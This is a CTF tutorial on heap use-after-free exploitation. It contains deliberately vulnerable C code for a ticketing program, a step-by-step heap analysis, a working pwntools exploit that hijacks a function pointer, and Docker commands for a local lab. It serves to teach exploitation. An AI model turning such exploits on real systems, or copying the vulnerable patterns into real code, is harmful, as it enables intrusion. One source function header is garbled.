# Challenge example

The exploitation of a [**Use After Free**](/pwn/heap-exploitation/use-after-free.md) **(UAF)** depend on the program implementation. With this example, the attacker can exploit an UAF in order to jump to an arbitrary function : "admin"&#x20;

## Source code

The program had 2 files :&#x20;

{% tabs %}
{% tab title="chall.c" %}

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#include "ticket.h"

char login(void){
    char username[16] = "";
    char password[16] = "";
    char secret[16] = "";
    char c;

    FILE *fp = fopen(".passwd", "r");
    fread(secret, 1, 15, fp);
    fclose(fp);
    secret[15] = '\0';

    printf("Username: ");
    fgets(username, sizeof(username), stdin);
    fflush(stdout);
    if (username[strlen(username)-1] == '\n'){
        username[strlen(username) -1] = '\0';
    }
    username[strlen(username)] = '\0';
    printf("Password: ");
    fflush(stdin);
    fgets(password, sizeof(password), stdin);
    if (password[strlen(password)-1] == '\n'){
        password[strlen(password) -1] = '\0';
    }

    if (strcmp(password, secret) == 0 && strcmp(username, "admin") == 0) {
        return 1;
    } else {
        return 0;
    }
}

void admin(void){
    printf("Welcome Admin !\n");
    char i, c = 1;
    while(c){
        printf("What to do you want to do ?\n");
        printf("1 - List all tickets\n");
        printf("2 - Read ticket\n");
        printf("3 - Close ticket\n");
        printf("0 - Exit\n");
        printf("Choice > ");
        scanf("%hhd", &i);
        printf("\e[1;1H\e[2J");
        switch (i) {
            case 0:
                c = 0;
                break;
            default:
                printf("Function not yet implemented !\n");
        }
    }
}

void add_ticket(int *count, ticket **ticket_list){
    int i;
    if(*count > 4){
        printf("Error, ticket list is already full... \n");
        return;
    }
    for (i=(int)sizeof(ticket_list)-1;i>0;--i){
        ticket_list[i] = ticket_list[i-1];
    }
    ticket_list[0] = ticket_create();
    printf("ticket %p\n", ticket_list[*count]);
    *count = *count + 1;
}

void del_ticket(int *count, ticket **ticket_list){
    char buf[4];
    int id;
    ticket *tmp;
    printf("Index to remove :");
    fgets(buf, sizeof(buf),stdin);
    id = atoi(buf);
    if (id < 0 || id >= *count) {
        printf("Out of bound!");
        return;
    }
    tmp = ticket_list[id];
    ticket_list[id] = ticket_list[*count-1];
    ticket_list[*count-1] = tmp;
    ticket_del(tmp);
    free(tmp);
    *count = *count-1;
}

void display_tickets(int *count, ticket **ticket_list){
    int id = 0;
    if(*count == 0){
        printf("There is no tickets to display\n");
        return;
    }
    for(id = 0; id<*count;++id){
        printf("id : %d\n", id);
        ticket_list[id]->display(ticket_list[id]);
    }
}

void (int *count, ticket **ticket_list){
    int id = 0;
    char buf[8];
    if(*count == 0){
        printf("There is no tickets to display\n");
        return;
    }
    printf("Index to read :");
    fgets(buf, sizeof(buf),stdin);
    id = atoi(buf);
    printf("id : %d\n", id);
    if(id >= 0 && id < sizeof(ticket_list)){
        ticket_list[id]->display(ticket_list[id]);
    }
}

void guest(void){
    char buf[8];
    ticket *ticket_list[5];
    int count = 0;
    printf("Welcome guest.\n");
    char i, c = 1;
    while(c){
        printf("Press enter char to continue...");
        getchar();
        printf("\e[1;1H\e[2J");
        printf("What to do you want to do ?\n");
        printf("1 - Get current tickets\n");
        printf("2 - Read ticket\n");
        printf("3 - Create ticket\n");
        printf("4 - Delete ticket\n");
        printf("5 - Submit tickets\n");
        printf("0 - Exit\n");
        printf("Choice > ");
        fgets(buf, sizeof(buf), stdin);
        i = buf[0];
        printf("\e[1;1H\e[2J");
        switch (i) {
            case '0':
                c = 0;
                break;
            case '1':
                display_tickets(&count, ticket_list);
                break;
            case '2':
                read_ticket(&count, ticket_list);
                break;
            case '3':
                add_ticket(&count, ticket_list);
                break;
            case '4':
                del_ticket(&count, ticket_list);
                break;
            default:
                printf("Function not yet implemented !\n");
        }
    }
}

int main(void) {
    printf("\e[1;1H\e[2J");
    char userType = 0;
    printf("Welcome, please login.\n");
    userType = login();
    printf("\e[1;1H\e[2J");
    if (userType == 1) {
        admin();
    } else {
        guest();
    }
}

```

{% endtab %}

{% tab title="ticket.h" %}

```c
#ifndef THECTFRECIPES_CHALLENGES_TICKET_H
#define THECTFRECIPES_CHALLENGES_TICKET_H

#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

typedef struct ticket {
    void (*display)();
    char title[24];
    char *content;
} ticket;

void display_ticket(ticket *this){
    int i = 0;
    int size = strlen(this->content);
    char line[33] = "+------------------------------+";
    char data[29] = "";
    line[32] = '\0';
    strcat(data,this->title);
    while(strlen(data) < sizeof(data)-1){
        strcat(data, " ");
    }
    data[28] = '\0';
    printf("%s\n",line);
    printf("| %s |\n",data);
    printf("%s\n",line);
    while(i < size){
        memcpy(data, &this->content[i], 28);
        while(strlen(data) < sizeof(data)-1){
            strcat(data, " ");
        }
        data[28] = '\0';
        printf("| %s |\n",data);
        i += 28;
    }
    printf("%s\n",line);
}

ticket* ticket_create(){
    char buf[8];
    int size;
    char title[24] = "";
    ticket *t = (ticket *)malloc(sizeof(ticket));

    t->display = display_ticket;
    fflush(stdin);
    fflush(stdout);
    printf("Title : ");
    fgets(title, sizeof(title),stdin);
    if (title[strlen(title)-1] == '\n'){
        title[strlen(title) -1] = '\0';
    }
    strcpy(t->title, title);
    printf("Ticker size :");
    fgets(buf, sizeof(buf),stdin);
    size = atoi(buf);
    t->content = (char *)malloc(size);
    if (!t->content) {
        printf("Allocation Error");
        exit(-1);
    }
    printf("Content :");
    fgets(t->content, size,stdin);
    if (t->content[strlen(t->content)-1] == '\n'){
        t->content[strlen(t->content) -1] = '\0';
    }
    return t;
}

void ticket_del(ticket *t){
    free(t->content);
    t->content = NULL;
}

#endif //THECTFRECIPES_CHALLENGES_TICKET_H

```

{% endtab %}
{% endtabs %}

{% hint style="info" %}
This application is likely a ticketing application.&#x20;

Guest user can create and submit ticket.&#x20;

Admin user can read all tickets from all users.&#x20;
{% endhint %}

Ths function `login` is here to authenticate a user and redirect him to the `guest` function is he isn't an admin, and `admin` if he is.&#x20;

As the password isn't know, the attacker will be sent into the `guest` function.&#x20;

### Guest

```c
void guest(void){
    char buf[8];
    ticket *ticket_list[5];
    int count = 0;
    printf("Welcome guest.\n");
    char i, c = 1;
    while(c){
        printf("Press enter char to continue...");
        getchar();
        printf("\e[1;1H\e[2J");
        printf("What to do you want to do ?\n");
        printf("1 - Get current tickets\n");
        printf("2 - Read ticket\n");
        printf("3 - Create ticket\n");
        printf("4 - Delete ticket\n");
        printf("5 - Submit tickets\n");
        printf("0 - Exit\n");
        printf("Choice > ");
        fgets(buf, sizeof(buf), stdin);
        i = buf[0];
        printf("\e[1;1H\e[2J");
        switch (i) {
            case '0':
                c = 0;
                break;
            case '1':
                display_tickets(&count, ticket_list);
                break;
            case '2':
                read_ticket(&count, ticket_list);
                break;
            case '3':
                add_ticket(&count, ticket_list);
                break;
            case '4':
                del_ticket(&count, ticket_list);
                break;
            default:
                printf("Function not yet implemented !\n");
        }
    }
}
```

This function is a menu and ask fot the user what he want to do and then call a function depending on the user choice.

There is 2 interesting variables :&#x20;

* `ticket_list` that store the actual user's tickets **pointers**&#x20;
* `count` that store how many ticket the user have.

### display\_ticket()

```c
void display_tickets(int *count, ticket **ticket_list){
    int id = 0;
    if(*count == 0){
        printf("There is no tickets to display\n");
        return;
    }
    for(id = 0; id<*count;++id){
        printf("id : %d\n", id);
        ticket_list[id]->display(ticket_list[id]);
    }
}
```

This function will print all ticket counted for the users.

### read\_ticket()

```c
void read_ticket(int *count, ticket **ticket_list){
    int id = 0;
    char buf[8];
    if(*count == 0){
        printf("There is no tickets to display\n");
        return;
    }
    printf("Index to read :");
    fgets(buf, sizeof(buf),stdin);
    id = atoi(buf);
    printf("id : %d\n", id);
    if(id >= 0 && id < sizeof(ticket_list)){
        ticket_list[id]->display(ticket_list[id]);
    }
}
```

This function will print a specific ticket&#x20;

{% hint style="warning" %}
Note: **There is no control about how many tickets the user had.**&#x20;

Then it might be possible to require to print the ticket 4 unless it doesn't exist... it this case the binary will probably crash...
{% endhint %}

### add\_ticket()

```c
void add_ticket(int *count, ticket **ticket_list){
    int i;
    if(*count > 4){
        printf("Error, ticket list is already full... \n");
        return;
    }
    for (i=(int)sizeof(ticket_list)-1;i>0;--i){
        ticket_list[i] = ticket_list[i-1];
    }
    ticket_list[0] = ticket_create();
    printf("ticket %p\n", ticket_list[*count]);
    *count = *count + 1;
}
```

This function will create a ticket using `ticket_create` and push in onto the `ticket_list` variable.

The `count` variable is then incremented.

### del\_ticket()

```c
void del_ticket(int *count, ticket **ticket_list){
    char buf[4];
    int id;
    ticket *tmp;
    printf("Index to remove :");
    fgets(buf, sizeof(buf),stdin);
    id = atoi(buf);
    if (id < 0 || id >= *count) {
        printf("Out of bound!");
        return;
    }
    tmp = ticket_list[id];
    ticket_list[id] = ticket_list[*count-1];
    ticket_list[*count-1] = tmp;
    ticket_del(tmp);
    free(tmp);
    *count = *count-1;
}
```

This function will "remove" a ticket.&#x20;

In fact the ticket was **swap with the last element of the list** and then the `count` variable was decremented.&#x20;

The removed ticket pointer was freed at the end of the function.

{% hint style="info" %}
*Note*: The pointer wasn't remove from the list. So the user access to it, using the `read_ticket()` function, **there is a use after free**&#x20;
{% endhint %}

### struct ticket&#x20;

```c
typedef struct ticket {
    void (*display)();
    char title[24];
    char *content;
} ticket;
```

A ticket contains 3 variables :&#x20;

* a function pointer : **display()**  (8 bytes)
* a string **: title** ( 24 bytes )
* a pointer **: content** (8 bytes)

The total size of this struct is **40 bytes.**&#x20;

### ticket\_create()

```c
ticket* ticket_create(){
    char buf[8];
    int size;
    char title[24] = "";
    ticket *t = (ticket *)malloc(sizeof(ticket));

    t->display = display_ticket;
    fflush(stdin);
    fflush(stdout);
    printf("Title : ");
    fgets(title, sizeof(title),stdin);
    if (title[strlen(title)-1] == '\n'){
        title[strlen(title) -1] = '\0';
    }
    strcpy(t->title, title);
    printf("Ticker size :");
    fgets(buf, sizeof(buf),stdin);
    size = atoi(buf);
    t->content = (char *)malloc(size);
    if (!t->content) {
        printf("Allocation Error");
        exit(-1);
    }
    printf("Content :");
    fgets(t->content, size,stdin);
    if (t->content[strlen(t->content)-1] == '\n'){
        t->content[strlen(t->content) -1] = '\0';
    }
    return t;
}
```

This function will create a ticket in memory and return the pointer ( used by the `add_ticket()` function )&#x20;

* First, the function will allocate a chunk to store the struct at the size of the struct ( 40 bytes )&#x20;
* The title is ask for the user and stored into the memory
* **A content size is require and used to allocate chunk to store the ticket content**
* the content is ask and stored into the memory

{% hint style="info" %}
*Note*: The user can define the malloc size and then choose the type of [bin](/pwn/general-knowledge/operation-of-the-heap/bins.md) used.&#x20;
{% endhint %}

## Exploitation

Let's resume the important parts for the exploitation :&#x20;

* Tickets can be created and stored into a chunk of size 40 bytes
* Content can be created and stored into a **chunk of an arbitrary size**
* **Tickets have a function pointer used** to print itself contents and title with a specific format
* Tickets can be freed&#x20;
* Unless the ticket its freed, it can be accessible using the `read_ticket()`function.&#x20;

{% hint style="success" %}
The objective is to rewrite a Ticket struct memory using a memory reallocation and use it as a ticket (**Use after free**) to call the display function.

Because the ticket object will be overwrite, the display function can point to an arbitrary function... here it will be `admin()`
{% endhint %}

The process to do that is simple :&#x20;

* **Create a ticket with a content of size != 40**

A chunk will be allocated to store the ticket from a fastbin of size 40 and another from another bin to store the content.&#x20;

* **Create a second ticket with a content of size !=40**

As for the first ticket, a chunk of size 40 is allocated to store the ticket and another chuck from another bin to store the content.&#x20;

* **free the first ticket**

The two previously allocated chunk ( for ticket and for content ) was freed and push onto respective bins

* **free the second ticket**

The two previously allocated chunk ( for ticket and for content ) was freed and push onto respective bins

* **Create a third ticket with a content of size 40 with the targeted function address as value**

The chuck of the second ticket will be reallocated to this ticket and **the chunk for the first ticket will be reallocated for the content !**

* **Read the first ticket** ( placed at the end of the ticket\_list due to the swap when free )&#x20;

The first ticket has now the value of the content of the third ticket due to the reallocation. The `display` pointer is overwritten by the `admin()` address

Here is a python code to do that :&#x20;

```python
from pwn import *

elf = context.binary = ELF("./chall")

p = process()

target = p64(0x401742) # `admin()` function address

def login():
    p.recvline()
    p.sendline(b'a')
    p.recv(timeout=1)
    p.sendline(b'a')
    p.recv(timeout=1)


def choice(c):
    p.sendline()
    a = p.recvuntil(b"Exit")
    p.sendline(c)

def create(title, size, content):
    choice(b'3')
    p.sendline(title)
    p.sendline(size)
    p.sendline(content)

def delete(index):
    choice(b'4')
    p.sendline(index)


login()
# Create the first ticket with a content size = 80
create(b'title', b'80', b'test') 
# Create the second ticket with a content size = 80
create(b'title', b'80', b'test')

# Delete the first ticket
delete(b'0')
# Delete the second ticket
delete(b'0')

# Create a third ticket with a size = sizeof(ticket) 
create(b'exploit', b'40', target) 

# read the second ticket
choice(b'2')
p.sendline(b'2')

p.interactive()
p.close()

```

<pre class="language-bash"><code class="lang-bash">$ python3 exploit.py
[*] './chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process './chall': pid 220
<strong>Welcome Admin !
</strong>What to do you want to do ?
1 - List all tickets
2 - Read ticket
3 - Close ticket
0 - Exit
Choice >
</code></pre>

## Exercice

If you want to try this exploit by yourself, you can pull [this docker image](https://hub.docker.com/r/thectfrecipes/pwn/general) :&#x20;

```
docker pull thectfrecipes/pwn:use_after_free
```

Deploy the image using the followed command :&#x20;

```
docker run --name use_after_free -it --rm -d -p 3000:3000 thectfrecipes/pwn:use_after_free
```

Access to the web shell with your browser at the address : `http://localhost:3000/`

```
login: challenge
password: password
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.ctfrecipes.com/pwn/heap-exploitation/use-after-free/challenge-example.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
